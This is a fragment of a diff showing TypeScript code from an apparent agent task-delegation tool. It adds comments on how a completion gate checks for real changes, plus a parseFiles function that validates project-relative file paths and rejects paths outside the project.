|
|
427
|
+
|
|
428
|
+
// A check is not required to be able to fail. `test -f a.js` reads nothing but fails when the work is missing, which
|
|
429
|
+
// is exactly what it is for, and refusing it would refuse the commonest check there is. What the gate needs instead is
|
|
430
|
+
// evidence that the task actually changed something, and that is asked where it can be answered truthfully: at the
|
|
431
|
+
// gate, against the worktree's real diff. See the changed-files check in runner.ts (#work) and native.ts (#finish).
|
|
432
|
+
// (This was tried as a rule on the check text and removed: every test run is a "read" by readsOnly -- it changes no
|
|
433
|
+
// project file -- so the rule either refused `npm test` or had to guess at intent from a command name.)
|
|
434
|
+
|
|
435
|
+
// The files of a delegation: project-relative paths, comma or space separated; "none" or empty for a reader. Returns
|
|
436
|
+
// why not otherwise (live test: "none (read-only; only /tmp/... may be written)" became six pseudo-files, and two
|
|
437
|
+
// readers that shared the file "none" could not run side by side).
|
|
438
|
+
export function parseFiles(text: string, project: string): { files: string[]; problem?: string } {
|
|
439
|
+
const t = text.trim()
|
|
440
|
+
if (!t || /^(none|-|n\/a|no files?)$/i.test(t)) return { files: [] }
|
|
441
|
+
const words = t.split(/[,\s]+/).filter(Boolean)
|
|
442
|
+
const bad = words.filter((w) => !/^[\w./@+-]+$/.test(w) || /^(none|read-only|only|may|be|written)$/i.test(w))
|
|
443
|
+
if (bad.length) return { files: [], problem: `files must be paths in the project, comma separated, or empty for a task that changes nothing (not: ${bad.slice(0, 4).join(" ")})` }
|
|
444
|
+
const prefix = project.replace(/\/+$/, "") + "/"
|
|
445
|
+
const files = words.map((w) => (w.startsWith(prefix) ? w.slice(prefix.length) : w)).map((w) => w.replace(/^\.\//, ""))
|
|
446
|
+
const outside = files.filter((f) => f.startsWith("/") || f.startsWith("..") || f.startsWith("~"))
|
|
447
|
+
if (outside.length) return { files: [], problem: `files must be inside the project: ${outside.join(", ")}. A task that only reads reports what it found; you read it with list_tasks.` }
|
|
448
|
+
return { files }
|
|
449
|
+
}
|